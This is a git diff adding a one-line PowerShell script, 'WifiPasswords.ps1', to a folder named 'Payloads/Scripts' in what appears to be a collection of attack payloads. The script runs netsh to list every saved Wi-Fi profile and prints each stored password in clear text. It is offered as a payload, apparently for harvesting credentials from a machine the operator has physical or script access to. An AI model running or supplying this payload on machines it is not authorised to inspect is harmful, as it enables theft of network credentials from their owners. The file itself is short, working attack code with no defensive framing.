diff --git a/Payloads/Scripts/WifiPasswords.ps1 b/Payloads/Scripts/WifiPasswords.ps1 new file mode 100644 index 0000000..84f9fae --- /dev/null +++ b/Payloads/Scripts/WifiPasswords.ps1 @@ -0,0 +1 @@ +(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String